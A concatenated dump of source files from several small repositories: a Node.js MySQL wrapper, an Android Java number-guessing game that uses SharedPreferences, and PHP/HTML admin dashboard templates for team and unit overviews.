if (args.length > 0) {
if (args[args.length - 1] != null && typeof args[args.length - 1] == 'object' && args[args.length - 1].constructor.name == 'Object') {
opts = args[args.length - 1];
}
}
return await this.query(sql, opts);
}
async beginTransaction() {
let conn = null;
try {
conn = await this.getConnection();
await conn.beginTransaction();
return conn;
} catch (err) {
if (conn != null) {
conn.release();
}
throw err;
}
}
async commit(conn) {
await conn.commit();
conn.release();
}
async rollback(conn) {
await conn.rollback();
conn.release();
}
}
module.exports = MySQL;
| 8d3cc41fa08421d51d86fa459972ad47bae28526 | [
"JavaScript",
"SQL",
"Markdown"
] | 18 | JavaScript | kahmnkk/server-kit | 75d6529da63c2218ff7a34aa66f65bd1bf1ec5b9 | c2700951cdd264a10b65b6dec1a60112d652ec5a |
refs/heads/master | <file_sep>package com.example.guia7labmoviles;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Toast;
import java.util.Random;
public class MainActivity extends AppCompatActivity {
public static final String NAME_FILE= "Configuracion";
private SharedPreferences configuracion;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.configuracion=this.getSharedPreferences(NAME_FILE, MODE_PRIVATE);
cargarPuntuacion();
}
public void clickJugar(View v){
Intent Jugar=new Intent(this, jugar.class);
startActivity(Jugar);
}
public void clickVerPuntuacion(View v){
Intent puntuacion=new Intent(this,verPuntaje.class);
startActivity(puntuacion);
}
public void clickVerRespuestaCorrecta(View v){
int config= this.configuracion.getInt("numAleatorio",-1);
if(config==-1){
Toast.makeText(this,"No hay numero Aleatorio registrado",Toast.LENGTH_SHORT).show();
}else {
Intent respuesta=new Intent(this,verRespuestaCorrecta.class);
startActivity(respuesta);
}
}
public void clickMisDatos(View v){
Intent misdatos=new Intent(this, misDatos.class);
startActivity(misdatos);
}
private void cargarPuntuacion(){
int puntuacion=this.configuracion.getInt("puntuacion",10);
String usu=this.configuracion.getString("usuario","Anonimo");
int num=this.configuracion.getInt("numAleatorio",-1);
if(puntuacion==10){
SharedPreferences.Editor editorConfigutacion=this.configuracion.edit();
if(num==-1){
Random numAleatorio=new Random();
int nuevo=1+numAleatorio.nextInt(10);
editorConfigutacion.putInt("numAleatorio",nuevo);
}
if(configuracion != null){
editorConfigutacion.putInt("numAleatorio",puntuacion);
if(usu.equals("Anonimo")){
editorConfigutacion.putString("usuario",usu);
}
editorConfigutacion.commit();
}
}
}
public boolean onCreateOptionsMenu(Menu menu){
super.onCreateOptionsMenu(menu);
crearMenu(menu);
return true;
}
public boolean onOptionsItemSelected(MenuItem item){
super.onOptionsItemSelected(item);
this.ItemSelected(item);
return true;
}
private void ItemSelected(MenuItem item){
switch (item.getItemId()){
case 0:
Intent frmConfi=new Intent(this,configUsuario.class);
startActivity(frmConfi);
break;
}
}
private void crearMenu(Menu menu){
MenuItem item=menu.add(0,0,0,"Configurar Usuario");
item.setAlphabeticShortcut('C');
}
}
<file_sep>include ':app'
rootProject.name='guia7LabMoviles'
<file_sep>package com.example.guia7labmoviles;
import androidx.appcompat.app.AppCompatActivity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.widget.TextView;
import static com.example.guia7labmoviles.MainActivity.NAME_FILE;
public class verPuntaje extends AppCompatActivity {
private SharedPreferences configuracion;
TextView txtUsuario;
TextView txtPuntaje;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_ver_puntaje);
this.configuracion=this.getSharedPreferences(NAME_FILE, MODE_PRIVATE);
this.txtUsuario=findViewById(R.id.txtUsuario);
this.txtPuntaje=findViewById(R.id.txtPuntaje);
cargarValores();
}
private void cargarValores(){
int num= this.configuracion.getInt("numAleatorio",-1);
if(num!=-1){
this.txtUsuario.setText("Usuario: "+this.configuracion.getString("usuario","Anonimo"));
this.txtPuntaje.setText(Integer.toString(this.configuracion.getInt("puntuacion",10)));
}
}
}
<file_sep>package com.example.guia7labmoviles;
import androidx.appcompat.app.AppCompatActivity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import static com.example.guia7labmoviles.MainActivity.NAME_FILE;
public class configUsuario extends AppCompatActivity {
private SharedPreferences configuracion;
EditText edtUsuario;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_config_usuario);
this.configuracion = getSharedPreferences(NAME_FILE, MODE_PRIVATE);
this.edtUsuario=findViewById(R.id.edtUsuario);
cargarConfiguracion();
}
private void cargarConfiguracion(){
String nom=this.configuracion.getString("usuario","Anonimo");
if(!nom.equals("Anonimo")){
this.edtUsuario.setText(nom);
}
}
public void clickGuardar(View v){
if (this.configuracion != null){
String nom=this.edtUsuario.getText().toString();
if(!nom.equals("")){
SharedPreferences.Editor editorConfiguracion = this.configuracion.edit();
editorConfiguracion.putString("usuario",nom);
editorConfiguracion.commit();
Toast.makeText(this,"Usuario guardado con exito!",Toast.LENGTH_SHORT).show();
finish();
}else {
Toast.makeText(this,"No puede guardar un campo vacio!",Toast.LENGTH_SHORT).show();
}
}
}
}
| 13800a208928423e2d33596c23130bcf966ff73c | [
"Java",
"Gradle"
] | 4 | Java | yamileth-sandoval/guia7LabMoviles | 59b750c1d9c4a47e6eb7e988d339166d944d0e25 | b11f1d265dc87f371d79e03a8026386e80d96dc1 |
refs/heads/master | <file_sep>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Team Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-modal"><i class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-award text-primary plan-icon"></i>
<h6 class="text-drak text-uppercase mt-2">Total Teams</h6>
<h2 class="mb-2">36</h2>
<span class="text-muted">Teams</span>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-cannabis plan-icon text-primary"></i>
<h6 class="text-drak text-uppercase mt-2">Ready For Ui Design</h6>
<h2 class="mb-2">4</h2>
<span class="text-muted">Teams</span>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card">
<div class="card-body">
<div class="plan-card text-center">
<i class="fab fa-black-tie plan-icon text-primary"></i>
<h6 class="text-drak text-uppercase mt-2">Ready For Web Shop</h6>
<h2 class="mb-2">12</h2>
<span class="text-muted">Teams</span>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-cloud plan-icon text-primary"></i>
<h6 class="text-drak text-uppercase mt-2">Reserved</h6>
<h2 class="mb-2">20</h2>
<span class="text-muted">Teams</span>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Leader</th>
<th class="wd-10p border-bottom-0 text-center">Num Of Members</th>
<th class="wd-10p border-bottom-0 text-center">Projects</th>
<th class="wd-15p border-bottom-0 text-center">Branch</th>
<th class="wd-15p border-bottom-0 text-center">Efficiency</th>
<th class="wd-15p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Ali</td>
<td class="text-center"><NAME></td>
<td class="text-center">16</td>
<td class="text-center">4</td>
<td class="text-center">Taleghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-30 font-weight-bold ">55%
</div>
</div>
</td>
<td class="text-center">Reserved</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Rad</td>
<td class="text-center"><NAME></td>
<td class="text-center">29</td>
<td class="text-center">5</td>
<td class="text-center">Velenjak</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-30 font-weight-bold ">60%
</div>
</div>
</td>
<td class="text-center">Reserved</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Hossein</td>
<td class="text-center"><NAME></td>
<td class="text-center">9</td>
<td class="text-center">2</td>
<td class="text-center">Taleghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Reserved</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Shahin</td>
<td class="text-center"><NAME></td>
<td class="text-center">21</td>
<td class="text-center">2</td>
<td class="text-center">Saadi</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-75 font-weight-bold ">75%
</div>
</div>
</td>
<td class="text-center">Reserved</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center"><NAME></td>
<td class="text-center">17</td>
<td class="text-center">3</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-60 font-weight-bold ">60%
</div>
</div>
</td>
<td class="text-center">Ready for project</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Saeghe</td>
<td class="text-center"><NAME>i</td>
<td class="text-center">33</td>
<td class="text-center">9</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Ready for project</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Hossein</td>
<td class="text-center"><NAME></td>
<td class="text-center">12</td>
<td class="text-center">3</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Ready for project</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/team-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<div class="row">
<div class="col-xl-8 col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<h4>Teams Efficiency</h4>
</div>
<div class="card-body">
<div id="highchart5"></div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saba Nouri</b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Jasem Jabari</b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b>E<NAME></b><b> Hold The Coordination Meeting At Room Number 6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Team</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="title">Team Name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="type">Branch :</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Shariati</option>
<option>Sobhani</option>
<option>Velenjak</option>
<option>Khaghani</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">Leader :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option><NAME></option>
<option><NAME></option>
<option><NAME></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="attendant">Team Members :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0"
data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3>Employee</h3></div>
<div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Unit</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row mt-5">
<div class="col-md-12 col-lg-12">
<div class="table-responsive rounded">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white border-dark">
<tr>
<th class="text-white text-center">Name</th>
<th class="text-white text-center">Unit</th>
<th class="text-white text-center">Role</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
TQM
</td>
<td class="text-center">
HR
</td>
</tr>
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
Finance
</td>
<td class="text-center">
Credit analyst
</td>
</tr>
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
IT
</td>
<td class="text-center">
Content manager
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="card mt-2 mb-0">
<div class="card-body">
<div class="row">
<div class="col-3 ">
<div class="card border-success text-center font-weight-bold text-muted">leader</div>
</div>
<div class="col-3 ">
<div class="card border-warning text-center font-weight-bold text-muted">Employee</div>
</div>
<div class="col-3 ">
<div class="card border-warning text-center font-weight-bold text-muted">Employee</div>
</div>
<div class="col-3 ">
<div class="card border-warning text-center font-weight-bold text-muted">Employee</div>
</div>
<div class="col-3">
<div class="card border-success ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro10.jpg" style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">manager</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card border-warning ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro14.jpg"
style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Abbas
Ghaderi</a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">supervisor</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card border-warning ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro11.jpg"
style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Asal Nasirtash</a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">designer</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card border-warning">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro7.jpg"
style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Mehdi Yegane</a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">cameraman</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
];
?>
<file_sep><!--mutipleselect css-->
<link rel="stylesheet" href="../assets/plugins/multipleselect/multiple-select.css">
<!-- select2 Plugin -->
<link href="../assets/plugins/select2/select2.min.css" rel="stylesheet"/>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Definition Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-unit-modal"><i
class="fas fa-plus"></i>Add Unit
</button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-6">
<div class="row" style="height:500px;">
<div class="col-12">
<div class="card bg-primary shadow-none">
<div class="card-body">
<div class="row">
<div class="col-4">
<div class="card h-100 shadow-none">
<div class="card-body text-center">
<span class="avatar avatar-xxl bradius"
style="background-image: url(../assets/images/photos/depositphotos_113815276-stock-illustration-initial-letter-hr-silver-gold.jpg)"></span>
<h4 class="font-weight-light mt-5 text-primary">Human Resources</h4>
<h5 class="font-weight-light mt-3 text-primary">Mehdi Yegane</h5>
<div class="progress progress-md mt-4">
<div class="progress-bar bg-success w-70 text-white">70%
</div>
</div>
<div class="row" style="margin-top: 50%;">
<button type="button" class="btn btn-primary"><i
class="fas fa-eye mr-2 text-white"></i>Veiw
</button>
<button type="button" class="btn btn-primary ml-1"><i
class="fas fa-pen mr-2 text-white"></i>Edit
</button>
</div>
</div>
</div>
</div>
<div class="col-8">
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-users float-right text-primary"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">12</h5>
</div>
</div>
</div>
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-male float-right text-primary mr-5"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Male
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">9</h5>
</div>
</div>
</div>
<div class="card mb-0 shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-female float-right text-primary mr-4"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Female
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">3</h5>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6">
<div class="row" style="height:500px;">
<div class="col-12">
<div class="card bg-primary shadow-none">
<div class="card-body">
<div class="row">
<div class="col-4">
<div class="card h-100 shadow-none">
<div class="card-body text-center">
<span class="avatar avatar-xxl bradius"
style="background-image: url(../assets/images/photos/depositphotos_113815276-stock-illustration-initial-letter-hr-silver-gold.jpg)"></span>
<h4 class="font-weight-light mt-5 text-primary">TQM</h4>
<h5 class="font-weight-light mt-3 text-primary">Ehsab Taromi</h5>
<div class="progress progress-md mt-4">
<div class="progress-bar bg-danger w-50 text-white">30%
</div>
</div>
<div class="row" style="margin-top: 50%;">
<button type="button" class="btn btn-primary"><i
class="fas fa-eye mr-2 text-white"></i>Veiw
</button>
<button type="button" class="btn btn-primary ml-1"><i
class="fas fa-pen mr-2 text-white"></i>Edit
</button>
</div>
</div>
</div>
</div>
<div class="col-8">
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-users float-right text-primary"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">12</h5>
</div>
</div>
</div>
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-male float-right text-primary mr-5"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Male
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">9</h5>
</div>
</div>
</div>
<div class="card mb-0 shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-female float-right text-primary mr-4"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Female
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">3</h5>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6">
<div class="row" style="height:500px;">
<div class="col-12">
<div class="card bg-primary shadow-none">
<div class="card-body">
<div class="row">
<div class="col-4">
<div class="card h-100 shadow-none">
<div class="card-body text-center">
<span class="avatar avatar-xxl bradius"
style="background-image: url(../assets/images/photos/depositphotos_113815276-stock-illustration-initial-letter-hr-silver-gold.jpg)"></span>
<h4 class="font-weight-light mt-5 text-primary">Financial</h4>
<h5 class="font-weight-light mt-3 text-primary">Milad Mansouri</h5>
<div class="progress progress-md mt-4">
<div class="progress-bar bg-warning w-70 text-white">55%
</div>
</div>
<div class="row" style="margin-top: 50%;">
<button type="button" class="btn btn-primary"><i
class="fas fa-eye mr-2 text-white"></i>Veiw
</button>
<button type="button" class="btn btn-primary ml-1"><i
class="fas fa-pen mr-2 text-white"></i>Edit
</button>
</div>
</div>
</div>
</div>
<div class="col-8">
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-users float-right text-primary"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">12</h5>
</div>
</div>
</div>
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-male float-right text-primary mr-5"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Male
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">9</h5>
</div>
</div>
</div>
<div class="card mb-0 shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-female float-right text-primary mr-4"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Female
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">3</h5>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6">
<div class="row" style="height:500px;">
<div class="col-12">
<div class="card bg-primary shadow-none">
<div class="card-body">
<div class="row">
<div class="col-4">
<div class="card h-100 shadow-none">
<div class="card-body text-center">
<span class="avatar avatar-xxl bradius"
style="background-image: url(../assets/images/photos/depositphotos_113815276-stock-illustration-initial-letter-hr-silver-gold.jpg)"></span>
<h4 class="font-weight-light mt-5 text-primary">Marketing</h4>
<h5 class="font-weight-light mt-3 text-primary"><NAME></h5>
<div class="progress progress-md mt-4">
<div class="progress-bar bg-success w-70 text-white">70%
</div>
</div>
<div class="row" style="margin-top: 50%;">
<button type="button" class="btn btn-primary"><i
class="fas fa-eye mr-2 text-white"></i>Veiw
</button>
<button type="button" class="btn btn-primary ml-1"><i
class="fas fa-pen mr-2 text-white"></i>Edit
</button>
</div>
</div>
</div>
</div>
<div class="col-8">
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-users float-right text-primary"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">12</h5>
</div>
</div>
</div>
<div class="card shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-male float-right text-primary mr-5"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Male
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">9</h5>
</div>
</div>
</div>
<div class="card mb-0 shadow-none">
<div class="card-body">
<div class="card-box tilebox-one">
<i class="fas fa-female float-right text-primary mr-4"></i>
<h4 class="text-primary text-uppercase mt-0 font-weight-light">Female
Employees</h4>
<h5 class="m-b-20 counter font-weight-light text-primary">3</h5>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-unit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Contract</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class="border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Defining</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Unit :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control"
name="example-text-input"
placeholder="">
</div>
</div>
</div>
<div class="row mt-5 clearfix">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Roles :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control"
name="example-textarea-input" rows="1"
placeholder=""
id="Descriptions"></textarea>
<a href="#" class="btn btn-pill btn-primary float-right mt-2">Add To
List</a>
</div>
</div>
<div class="col-12">
<div class="row mt-5">
<div class="col-md-12 col-lg-12">
<div class="table-responsive ">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white border-dark">
<tr>
<th class="text-white">ID</th>
<th class="text-white text-center">Role</th>
<th class="text-white text-center">Status</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">1</th>
<td class="text-center">
Manager
</td>
<td class="text-center">
<div class="form-group">
<label class="custom-switch">
<input type="checkbox"
name="custom-switch-checkbox"
class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</td>
</tr>
<tr>
<th scope="row">2</th>
<td class="text-center">
Customer
